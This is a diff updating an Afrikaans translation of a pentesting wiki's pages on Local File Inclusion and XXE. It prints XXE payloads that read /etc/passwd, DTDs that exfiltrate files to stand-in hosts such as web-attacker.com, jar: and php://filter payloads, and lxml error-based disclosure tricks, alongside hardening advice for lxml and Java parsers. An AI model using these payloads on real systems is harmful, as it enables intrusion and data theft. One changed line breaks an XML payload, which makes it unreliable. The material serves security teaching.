+As jy 'n **Plaaslike Lêer Insluiting** gevind het selfs al **het jy nie 'n sessie nie** en `session.auto_start` is `Off`. As jy die **`PHP_SESSION_UPLOAD_PROGRESS`** in **multipart POST** data verskaf, sal PHP die **sessie vir jou aktiveer**. Jy kan dit misbruik om RCE te verkry:
 
 {{#ref}}
 via-php_session_upload_progress.md
@@ -582,9 +628,9 @@ As jy 'n **Local File Inclusion** gevind het en 'n lêer wat **phpinfo()** bloot
 lfi2rce-via-phpinfo.md
 {{#endref}}
 
-### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Pad Ontsluiting
+### Via compress.zlib + `PHP_STREAM_PREFER_STUDIO` + Pad Ontdekking
 
-As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydelike lêer **uitvoer**, MAAR die **bediener** is **besig** om te kyk of die **lêer wat ingesluit moet word PHP merke het**, kan jy probeer om daardie **kontrole te omseil** met hierdie **Race Condition**:
+As jy 'n **Local File Inclusion** gevind het en jy **kan die pad** van die tydelike lêer **uitvoer**, MAAR die **bediener** **kontroleer** of die **lêer wat ingesluit moet word PHP merke het**, kan jy probeer om daardie **kontrole te omseil** met hierdie **Race Condition**:
 
 {{#ref}}
 lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
@@ -592,7 +638,7 @@ lfi2rce-via-compress.zlib-+-php_stream_prefer_studio-+-path-disclosure.md
 
 ### Via ewige wag + bruteforce
 
-As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener kan die PHP-uitvoering **hang**, kan jy dan **brute force lêernames oor ure** om die tydelike lêer te vind:
+As jy die LFI kan misbruik om **tydelike lêers op te laai** en die bediener kan die PHP uitvoering **hang**, kan jy dan **lêernames vir ure brute force** om die tydelike lêer te vind:
 
 {{#ref}}
 lfi2rce-via-eternal-waiting.md
@@ -611,6 +657,8 @@ _Alhoewel jy 'n PHP Fatale Fout veroorsaak, word PHP tydelike lêers wat opgelaa
 
 - [PayloadsAllTheThings](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal)
 - [PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/File%20Inclusion%20-%20Path%20Traversal/Intruders)
+- [Horizon3.ai – From Support Ticket to Zero Day (FreeFlow Core path traversal → arbitrary write → webshell)](https://horizon3.ai/attack-research/attack-blogs/from-support-ticket-to-zero-day/)
+- [Xerox Security Bulletin 025-013 – FreeFlow Core 8.0.5](https://securitydocs.business.xerox.com/wp-content/uploads/2025/08/Xerox-Security-Bulletin-025-013-for-Freeflow-Core-8.0.5.pdf)
 
 {{#file}}
 EN-Local-File-Inclusion-1.pdf

src/pentesting-web/xxe-xee-xml-external-entity.md

@@ -4,19 +4,19 @@
 
 ## XML Basiese Beginsels
 
-XML is 'n opmaaktaal wat ontwerp is vir data-opberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende naamgewing van etikette toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde etikette nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
+XML is 'n opmaaktaal wat ontwerp is vir data-opberging en -vervoer, met 'n buigsame struktuur wat die gebruik van beskrywende getagde name toelaat. Dit verskil van HTML deur nie beperk te wees tot 'n stel vooraf gedefinieerde merke nie. Die belangrikheid van XML het afgeneem met die opkoms van JSON, ondanks sy aanvanklike rol in AJAX-tegnologie.
 
-- **Data voorstelling deur Entiteite**: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos `&lt;` en `&gt;`, wat ooreenstem met `<` en `>` om konflik met XML se etikette stelsel te vermy.
-- **Definiëring van XML Elemente**: XML stel die definisie van elementtipes in staat, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
+- **Data voorstelling deur Entiteite**: Entiteite in XML stel die voorstelling van data in staat, insluitend spesiale karakters soos `&lt;` en `&gt;`, wat ooreenstem met `<` en `>` om konflik met XML se merkstelsel te vermy.
+- **Definiëring van XML Elemente**: XML laat die definisie van elementtipes toe, wat uiteensit hoe elemente gestruktureer moet word en watter inhoud hulle mag bevat, wat wissel van enige tipe inhoud tot spesifieke kindelemente.
 - **Dokumenttipe Definisie (DTD)**: DTD's is van kardinale belang in XML vir die definisie van die dokument se struktuur en die tipes data wat dit kan bevat. Hulle kan intern, ekstern, of 'n kombinasie wees, wat lei hoe dokumente geformateer en gevalideer word.
-- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, bring sekuriteitskwessies mee, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databasisse hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
-- **XXE Opsporing met Parameter Entiteite**: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk as gevolg van parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
+- **Pasgemaakte en Eksterne Entiteite**: XML ondersteun die skepping van pasgemaakte entiteite binne 'n DTD vir buigsame data voorstelling. Eksterne entiteite, gedefinieer met 'n URL, wek sekuriteitskwessies, veral in die konteks van XML Externe Entiteit (XXE) aanvalle, wat die manier waarop XML-parsers eksterne databasisse hanteer, benut: `<!DOCTYPE foo [ <!ENTITY myentity "value" > ]>`
+- **XXE Opsporing met Parameter Entiteite**: Vir die opsporing van XXE kwesbaarhede, veral wanneer konvensionele metodes misluk weens parser sekuriteitsmaatreëls, kan XML parameter entiteite gebruik word. Hierdie entiteite stel buite-band opsporingstegnieke in staat, soos om DNS-opsoeke of HTTP-versoeke na 'n beheerde domein te aktiveer, om die kwesbaarheid te bevestig.
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "file:///etc/passwd" > ]>`
 - `<!DOCTYPE foo [ <!ENTITY ext SYSTEM "http://attacker.com" > ]>`
 
 ## Hoofaanvalle
 
-[**Die meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE laboratoriums: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
+[**Meeste van hierdie aanvalle is getoets met die wonderlike Portswiggers XEE laboratoriums: https://portswigger.net/web-security/xxe**](https://portswigger.net/web-security/xxe)
 
 ### Nuwe Entiteit toets
 
@@ -35,7 +35,7 @@ In hierdie aanval gaan ek toets of 'n eenvoudige nuwe ENTITEIT verklaring werk.
 
 Kom ons probeer om `/etc/passwd` op verskillende maniere te lees. Vir Windows kan jy probeer om te lees: `C:\windows\system32\drivers\etc\hosts`
 
-In hierdie eerste geval, let daarop dat SYSTEM "_**file:///**etc/passwd_" ook sal werk.
+In hierdie eerste geval let op dat SYSTEM "_**file:///**etc/passwd_" ook sal werk.
 ```xml
 <!--?xml version="1.0" ?-->
 <!DOCTYPE foo [<!ENTITY example SYSTEM "/etc/passwd"> ]>
@@ -65,10 +65,10 @@ In hierdie derde geval let op dat ons die `Element stockCheck` as ANY verklaar.
 
 ### Gidslys
 
-In **Java** gebaseerde toepassings kan dit moontlik wees om **die inhoud van 'n gids te lys** via XXE met 'n payload soos (net vra vir die gids in plaas van die lêer):
+In **Java** gebaseerde toepassings mag dit moontlik wees om die **inhoud van 'n gids** via XXE te lys met 'n payload soos (net vra vir die gids in plaas van die lêer):
 ```xml
 <!-- Root / -->
-<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///">]><root><foo>&xxe;</foo></root>
+<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE aa[<!ELEMENT bb ANY><!ENTITY xxe SYSTEM "file:///"><root><foo>&xxe;</foo></root>
 
 <!-- /etc/ -->
 <?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root[<!ENTITY xxe SYSTEM "file:///etc/" >]><root><foo>&xxe;</foo></root>
@@ -83,7 +83,7 @@ In **Java** gebaseerde toepassings kan dit moontlik wees om **die inhoud van 'n
 ```
 ### Blind SSRF
 
-Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML-entiteite nie toegelaat word** nie; in daardie geval kan jy probeer om **XML-parameterentiteite** te gebruik:
+Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry tot 'n bediener wat jy beheer om te wys dat dit kwesbaar is. Maar, as dit nie werk nie, is dit dalk omdat **XML-entiteite nie toegelaat word**; in daardie geval kan jy probeer om **XML-parameterentiteite** te gebruik:
 ```xml
 <?xml version="1.0" encoding="UTF-8"?>
 <!DOCTYPE test [ <!ENTITY % xxe SYSTEM "http://gtd8nhwxylcik0mt2dgvpeapkgq7ew.burpcollaborator.net"> %xxe; ]>
@@ -91,7 +91,7 @@ Met die **voorheen kommentaartegniek** kan jy die bediener laat toegang verkry t
 ```
 ### "Blind" SSRF - Exfiltreer data uit-band
 
-**In hierdie geval gaan ons die bediener laat 'n nuwe DTD laai met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via \_ftp://**\_ uit te haal met hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
+**In hierdie geval gaan ons die bediener laat laai 'n nuwe DTD met 'n kwaadwillige payload wat die inhoud van 'n lêer via HTTP versoek sal stuur (vir multi-lyn lêers kan jy probeer om dit via \_ftp://**\_ uit te haal met hierdie basiese bediener byvoorbeeld [**xxe-ftp-server.rb**](https://github.com/ONsec-Lab/scripts/blob/master/xxe-ftp-server.rb)**). Hierdie verduideliking is gebaseer op** [**Portswiggers lab hier**](https://portswigger.net/web-security/xxe/blind)**.**
 
 In die gegewe kwaadwillige DTD word 'n reeks stappe uitgevoer om data uit te haal:
 
@@ -121,18 +121,18 @@ Die aanvaller huisves hierdie kwaadwillige DTD op 'n bediener onder hul beheer,
 <!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://web-attacker.com/malicious.dtd"> %xxe;]>
 <stockCheck><productId>3;</productId><storeId>1</storeId></stockCheck>
 ```
-Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die eksfiltrasie van die `/etc/hostname` lêer na die aanvaller se bediener.
+Hierdie payload definieer 'n XML parameterentiteit `%xxe` en inkorporeer dit binne die DTD. Wanneer dit deur 'n XML-parsser verwerk word, haal hierdie payload die eksterne DTD van die aanvaller se bediener. Die parser interpreteer dan die DTD inline, voer die stappe in die kwaadwillige DTD uit en lei tot die ekfiltrasie van die `/etc/hostname` lêer na die aanvaller se bediener.
 
 ### Foutgebaseerd (Eksterne DTD)
 
 **In hierdie geval gaan ons die bediener dwing om 'n kwaadwillige DTD te laai wat die inhoud van 'n lêer binne 'n foutboodskap sal wys (dit is slegs geldig as jy foutboodskappe kan sien).** [**Voorbeeld hier.**](https://portswigger.net/web-security/xxe/blind)
 
-'n XML-parsing foutboodskap, wat die inhoud van die `/etc/passwd` lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
+'n XML-parsingsfoutboodskap, wat die inhoud van die `/etc/passwd` lêer onthul, kan geaktiveer word deur 'n kwaadwillige eksterne Document Type Definition (DTD). Dit word bereik deur die volgende stappe:
 
 1. 'n XML parameterentiteit genaamd `file` word gedefinieer, wat die inhoud van die `/etc/passwd` lêer bevat.
 2. 'n XML parameterentiteit genaamd `eval` word gedefinieer, wat 'n dinamiese verklaring vir 'n ander XML parameterentiteit genaamd `error` inkorporeer. Hierdie `error` entiteit, wanneer geëvalueer, probeer om 'n nie-bestaande lêer te laai, wat die inhoud van die `file` entiteit as sy naam inkorporeer.
 3. Die `eval` entiteit word aangeroep, wat lei tot die dinamiese verklaring van die `error` entiteit.
-4. Aanspreking van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap produseer wat die inhoud van die `/etc/passwd` lêer as deel van die lêernaam insluit.
+4. Aanspreking van die `error` entiteit lei tot 'n poging om 'n nie-bestaande lêer te laai, wat 'n foutboodskap genereer wat die inhoud van die `/etc/passwd` lêer as deel van die lêernaam insluit.
 
 Die kwaadwillige eksterne DTD kan geaktiveer word met die volgende XML:
 ```xml
@@ -150,9 +150,9 @@ _**Neem asseblief kennis dat eksterne DTD ons toelaat om een entiteit binne die
 
 So wat van blinde XXE kwesbaarhede wanneer **uit-baan interaksies geblokkeer is** (eksterne verbindings is nie beskikbaar nie)?
 
-'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem laat die interne herdefinisie van entiteite wat eksterne verklaar is toe, wat die uitvoering van foutgebaseerde XXE-aanvalle fasiliteer. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers op plaaslike DTD-lêers staatmaak om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
+'n Gaping in die XML-taal spesifikasie kan **sensitiewe data blootstel deur foutboodskappe wanneer 'n dokument se DTD interne en eksterne verklarings meng**. Hierdie probleem maak dit moontlik om die interne herdefinisie van entiteite wat eksterne verklaar is, te fasiliteer, wat die uitvoering van foutgebaseerde XXE-aanvalle moontlik maak. Sulke aanvalle benut die herdefinisie van 'n XML parameterentiteit, oorspronklik verklaar in 'n eksterne DTD, van binne 'n interne DTD. Wanneer uit-baan verbindings deur die bediener geblokkeer word, moet aanvallers staatmaak op plaaslike DTD-lêers om die aanval uit te voer, met die doel om 'n ontledingsfout te veroorsaak om sensitiewe inligting te onthul.
 
-Overweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer by `/usr/local/app/schema.dtd` bevat, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML-ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd`-lêer onthul deur 'n hibriede DTD soos volg in te dien:
+Oorweeg 'n scenario waar die bediener se lêerstelsel 'n DTD-lêer bevat by `/usr/local/app/schema.dtd`, wat 'n entiteit genaamd `custom_entity` definieer. 'n Aanvaller kan 'n XML ontledingsfout veroorsaak wat die inhoud van die `/etc/passwd` lêer onthul deur 'n hibriede DTD soos volg in te dien:
 ```xml
 <!DOCTYPE foo [
 <!ENTITY % local_dtd SYSTEM "file:///usr/local/app/schema.dtd">
@@ -221,13 +221,13 @@ Testing 0 entities : []
 
 Vir 'n meer diepgaande verduideliking van hierdie aanval, **kyk na die tweede afdeling van** [**hierdie wonderlike pos**](https://labs.detectify.com/2021/09/15/obscure-xxe-attacks/) **van Detectify**.
 
-Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser moontlik te wees om die data uit die sigblad te onttrek, sal dit onvermydelik nodig wees om ten minste een XML-lêer te parse.
+Die vermoë om **Microsoft Office-dokumente op te laai, word deur baie webtoepassings aangebied**, wat dan voortgaan om sekere besonderhede uit hierdie dokumente te onttrek. Byvoorbeeld, 'n webtoepassing mag gebruikers toelaat om data in te voer deur 'n XLSX-formaat sigblad op te laai. Ten einde vir die parser om die data uit die sigblad te onttrek, sal dit onvermydelik nodig wees om ten minste een XML-lêer te parse.
 
 Om vir hierdie kwesbaarheid te toets, is dit nodig om 'n **Microsoft Office-lêer wat 'n XXE-payload bevat, te skep**. Die eerste stap is om 'n leë gids te skep waaraan die dokument ontzip kan word.
 
 Sodra die dokument ontzip is, moet die XML-lêer geleë by `./unzipped/word/document.xml` geopen en in 'n verkiesde teksredigeerder (soos vim) gewysig word. Die XML moet gewysig word om die verlangde XXE-payload in te sluit, wat dikwels met 'n HTTP-versoek begin.
 
-Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL te vervang met 'n monitorbare URL vir versoeke.
+Die gewysigde XML-lyne moet tussen die twee wortel-XML-objekte ingevoeg word. Dit is belangrik om die URL met 'n monitorbare URL vir versoeke te vervang.
 
 Laastens kan die lêer gezip word om die kwaadwillige poc.docx-lêer te skep. Vanuit die voorheen geskepte "unzipped" gids, moet die volgende opdrag uitgevoer word:
 
@@ -251,7 +251,7 @@ Die proses agter die toegang tot 'n lêer binne 'n PKZIP-argief via die jar-prot
 4. Die spesifieke lêer binne die argief, `file.zip`, word gelees.
 5. Na die operasie word enige tydelike lêers wat tydens hierdie proses geskep is, verwyder.
 
-'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperk oop te hou wanneer die argief lêer bedien word. Gereedskap beskikbaar by [hierdie berging](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (`slow_http_server.py`) en 'n Java-bediener (`slowserver.jar`).
+'n Interessante tegniek om hierdie proses by die tweede stap te onderbreek, behels om die bedienerverbinding onbeperkt oop te hou wanneer die argief lêer bedien word. Gereedskap beskikbaar by [hierdie repo](https://github.com/GoSecure/xxe-workshop/tree/master/24_write_xxe/solution) kan vir hierdie doel gebruik word, insluitend 'n Python-bediener (`slow_http_server.py`) en 'n Java-bediener (`slowserver.jar`).
 ```xml
 <!DOCTYPE foo [<!ENTITY xxe SYSTEM "jar:http://attacker.com:8080/evil.zip!/evil.dtd">]>
 <foo>&xxe;</foo>
@@ -320,9 +320,9 @@ Kontrollere [https://portswigger.net/web-security/xxe](https://portswigger.net/w
 
 ### SVG - Lêeroplaai
 
-Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevatte lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
+Lêers wat deur gebruikers na sekere toepassings opgelaai word, wat dan op die bediener verwerk word, kan kwesbaarhede in hoe XML of XML-bevat lêerformate hanteer word, benut. Algemene lêerformate soos kantoor dokumente (DOCX) en beelde (SVG) is gebaseer op XML.
 
-Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of gevalideer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, mag die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
+Wanneer gebruikers **beelde oplaai**, word hierdie beelde bediener-kant verwerk of geverifieer. Selfs vir toepassings wat formate soos PNG of JPEG verwag, mag die **bediener se beeldverwerkingsbiblioteek ook SVG-beelde ondersteun**. SVG, as 'n XML-gebaseerde formaat, kan deur aanvallers benut word om kwaadwillige SVG-beelde in te dien, wat die bediener blootstel aan XXE (XML External Entity) kwesbaarhede.
 
 'n Voorbeeld van so 'n uitbuiting word hieronder getoon, waar 'n kwaadwillige SVG-beeld probeer om stelsellêers te lees:
 ```xml
@@ -358,7 +358,7 @@ Content-Length: 7
 
 foo=bar
 ```
-Dan mag jy dalk die volgende versoek indien, met dieselfde resultaat:
+Dan kan jy dalk die volgende versoek indien, met dieselfde resultaat:
 ```xml
 POST /action HTTP/1.0
 Content-Type: text/xml
@@ -368,7 +368,7 @@ Content-Length: 52
 ```
 ### Content-Type: Van JSON na XEE
 
-Om die versoek te verander, kan jy 'n Burp-uitbreiding gebruik genaamd “**Content Type Converter**“. [Hier](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) kan jy hierdie voorbeeld vind:
+Om die versoek te verander, kan jy 'n Burp-uitbreiding gebruik genaamd “**Content Type Converter**“. [Here](https://exploitstube.com/xxe-for-fun-and-profit-converting-json-request-to-xml.html) you can find this example:
 ```xml
 Content-Type: application/json;charset=UTF-8
 
@@ -448,7 +448,7 @@ DTD voorbeeld:
 
 ### Base64
 
-**Onttrek** _**index.php**_
+**Ontrek** _**index.php**_
 ```xml
 <!DOCTYPE replace [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=index.php"> ]>
 ```
@@ -478,7 +478,7 @@ Hierdie voorbeeld is geïnspireer deur [https://pwn.vg/articles/2021-06/local-fi
 
 XLIFF (XML Lokaliseringsuitruilformaat) word gebruik om data-uitruil in lokaliseringsprosesse te standaardiseer. Dit is 'n XML-gebaseerde formaat wat hoofsaaklik gebruik word om lokaliseerbare data tussen gereedskap tydens lokaliseringsprosesse oor te dra en as 'n algemene uitruilformaat vir CAT (Rekenaarondersteunde Vertaling) gereedskap.
 
-### Blind Versoekanalise
+### Blind Request Analise
 
 'n Versoek word aan die bediener gemaak met die volgende inhoud:
 ```xml
@@ -514,9 +514,9 @@ Content-Type: application/x-xliff+xml
 <xliff srcLang="en" trgLang="ms-MY" version="2.0"></xliff>
 ------WebKitFormBoundaryqBdAsEtYaBjTArl3--
 ```
-Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Aangetekende beperking met hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
+Hierdie benadering onthul dat die User Agent die gebruik van Java 1.8 aandui. 'n Opgemerk beperking met hierdie weergawe van Java is die onmoontlikheid om lêers wat 'n nuwe reël karakter bevat, soos /etc/passwd, te verkry met die Out of Band tegniek.
 
-Foutgebaseerde Data Eksfiltrasie Om hierdie beperking te oorkom, word 'n Foutgebaseerde benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te ontlok wat data van 'n teikendlêer insluit:
+Foutgebaseerde Data Eksfiltrasie Om hierdie beperking te oorkom, word 'n Foutgebaseerde benadering gebruik. Die DTD-lêer is soos volg gestruktureer om 'n fout te aktiveer wat data van 'n teikendlêer insluit:
 ```xml
 <!ENTITY % data SYSTEM "file:///etc/passwd">
 <!ENTITY % foo "<!ENTITY &#37; xxe SYSTEM 'file:///nofile/'>">
@@ -534,7 +534,7 @@ Om die lêer se inhoud in die foutboodskap in te sluit, word die DTD-lêer aange
 %foo;
 %xxe;
 ```
-Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit in die foutuitset wat via HTTP gestuur word, weerspieël word. Dit dui op 'n suksesvolle XXE (XML Externe Entiteit) aanval, wat beide Out of Band en Fout-gebaseerde tegnieke benut om sensitiewe inligting te onttrek.
+Hierdie wysiging lei tot die suksesvolle eksfiltrasie van die lêer se inhoud, soos dit weerspieël word in die foutuitset wat via HTTP gestuur word. Dit dui op 'n suksesvolle XXE (XML Externe Entiteit) aanval, wat beide Out of Band en Fout-gebaseerde tegnieke benut om sensitiewe inligting te onttrek.
 
 ## RSS - XEE
 
@@ -684,14 +684,14 @@ https://github.com/luisfontes19/xxexploiter
 ### Python lxml Parameter-Entity XXE (Fout-gebaseerde Lêerontsluiting)
 
 > [!INFO]
-> Die Python biblioteek **lxml** gebruik **libxml2** onder die oppervlak. Weergawes voor **lxml 5.4.0 / libxml2 2.13.8** brei steeds *parameter* entiteite uit selfs wanneer `resolve_entities=False`, wat hulle bereikbaar maak wanneer die toepassing `load_dtd=True` en/of `resolve_entities=True` inskakel. Dit stel Fout-gebaseerde XXE payloads in staat om die inhoud van plaaslike lêers in die parser foutboodskap in te sluit.
+> Die Python biblioteek **lxml** gebruik **libxml2** onder die oppervlak. Weergawes voor **lxml 5.4.0 / libxml2 2.13.8** brei steeds *parameter* entiteite uit selfs wanneer `resolve_entities=False`, wat dit bereikbaar maak wanneer die toepassing `load_dtd=True` en/of `resolve_entities=True` inskakel. Dit stel fout-gebaseerde XXE payloads in staat om die inhoud van plaaslike lêers in die parser foutboodskap in te sluit.
 
 #### 1. Exploiteer lxml < 5.4.0
 1. Identifiseer of skep 'n *plaaslike* DTD op skyf wat 'n **onbeskryfde** parameter entiteit definieer (bv. `%config_hex;`).
 2. Stel 'n interne DTD saam wat:
 * Die plaaslike DTD laai met `<!ENTITY % local_dtd SYSTEM "file:///tmp/xml/config.dtd">`.
 * Die onbeskryfde entiteit herdefinieer sodat dit:
-- Die teikend lêer lees (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
+- Die teikenlêer lees (`<!ENTITY % flag SYSTEM "file:///tmp/flag.txt">`).
 - 'n Ander parameter entiteit bou wat na 'n **ongeldige pad** verwys wat die `%flag;` waarde bevat en 'n parser fout veroorsaak (`<!ENTITY % eval "<!ENTITY % error SYSTEM 'file:///aaa/%flag;'>">`).
 3. Brei uiteindelik `%local_dtd;` en `%eval;` uit sodat die parser `%error;` teëkom, misluk om `/aaa/<FLAG>` te open en die vlag binne die gegooi uitsondering lek – wat dikwels aan die gebruiker deur die toepassing teruggestuur word.
 ```xml
@@ -712,7 +712,7 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 > As die parser kla oor `%`/`&` karakters binne die interne subset, kodeer dit dubbel (`&#x26;#x25;` ⇒ `%`) om uitbreiding te vertraag.
 
 #### 2. Om die lxml 5.4.0 verharding te omseil (libxml2 steeds kwesbaar)
-`lxml` ≥ 5.4.0 verbied *error* parameter entiteite soos die een hierbo, maar **libxml2** laat steeds toe dat hulle in 'n *algemene* entiteit ingebed word. Die truuk is om:
+`lxml` ≥ 5.4.0 verbied *fout* parameter entiteite soos die een hierbo, maar **libxml2** laat steeds toe dat hulle in 'n *algemene* entiteit ingebed word. Die truuk is om:
 1. Lees die lêer in 'n parameter entiteit `%file`.
 2. Verklaar 'n ander parameter entiteit wat 'n **algemene** entiteit `c` bou waarvan die SYSTEM identifiseerder 'n *nie-bestaande protokol* soos `meow://%file;` gebruik.
 3. Plaas `&c;` in die XML liggaam. Wanneer die parser probeer om `meow://…` te dereferensieer, misluk dit en reflekteer die volle URI – insluitend die lêerinhoud – in die foutboodskap.
@@ -729,16 +729,16 @@ Error : failed to load external entity "file:///aaa/FLAG{secret}"
 #### Sleutelafleidings
 * **Parameter entiteite** word steeds deur libxml2 uitgebrei, selfs wanneer `resolve_entities` XXE moet blokkeer.
 * 'n **Ongeldige URI** of **nie-bestaande lêer** is genoeg om beheerde data in die gegooi uitsondering te konkateneer.
-* Die tegniek werk **sonder buiteverbinding**, wat dit ideaal maak vir streng uitgangs-gefilterde omgewings.
+* Die tegniek werk **sonder uitgaande konnektiwiteit**, wat dit ideaal maak vir streng uitgangs-gefilterde omgewings.
 
 #### Versagtingsriglyne
 * Opgradeer na **lxml ≥ 5.4.0** en verseker dat die onderliggende **libxml2** **≥ 2.13.8** is.
-* Deaktiveer `load_dtd` en/of `resolve_entities` tensy absoluut nodig.
-* Vermy om rou parserfoute aan die kliënt terug te gee.
+* Deaktiveer `load_dtd` en/of `resolve_entities` tensy dit absoluut nodig is.
+* Vermy om rou parser foute aan die kliënt terug te gee.
 
 ### Java DocumentBuilderFactory versterking voorbeeld
 
-Java-toepassings parseer dikwels XML met behulp van `DocumentBuilderFactory`.  Standaard laat die fabriek **buitelandige entiteit resolusie toe**, wat dit kwesbaar maak vir XXE en SSRF as daar geen addisionele versterkingsvlagte ingestel is nie:
+Java toepassings parseer dikwels XML met `DocumentBuilderFactory`.  Standaard laat die fabriek **buitelandse entiteit resolusie toe**, wat dit kwesbaar maak vir XXE en SSRF as daar geen addisionele versterkingsvlagte ingestel is nie:
 ```java
 DocumentBuilderFactory dbf = DocumentBuilderFactory.newInstance();
 DocumentBuilder builder = dbf.newDocumentBuilder(); // XXE-prone
@@ -763,24 +763,53 @@ dbf.setExpandEntityReferences(false);
 
 DocumentBuilder builder = dbf.newDocumentBuilder();
 ```
-As die aansoek DTD's intern moet ondersteun, hou `disallow-doctype-decl` gedeaktiveer, maar **laat altyd** die twee `external-*-entities` funksies op `false` gestel. Die kombinasie voorkom klassieke lêer-blootstelling payloads (`file:///etc/passwd`) sowel as netwerk-gebaseerde SSRF vektore (`http://169.254.169.254/…`, `jar:` protokol, ens.).
+As die toepassing DTD's intern moet ondersteun, hou `disallow-doctype-decl` gedeaktiveer, maar **laat altyd** die twee `external-*-entities` funksies op `false` gestel. Die kombinasie voorkom klassieke lêer-blootstelling payloads (`file:///etc/passwd`) sowel as netwerk-gebaseerde SSRF vektore (`http://169.254.169.254/…`, `jar:` protokol, ens.).
 
-Werklike gevalstudie: **CVE-2025-27136** in die Java S3 emulators *LocalS3* het die kwesbare konstruktors hierbo gebruik. 'n Onauthentieke aanvaller kon 'n vervaardigde XML-liggaam aan die `CreateBucketConfiguration` eindpunt verskaf en die bediener laat plaaslike lêers (byvoorbeeld `/etc/passwd`) in die HTTP-antwoord inkorporeer.
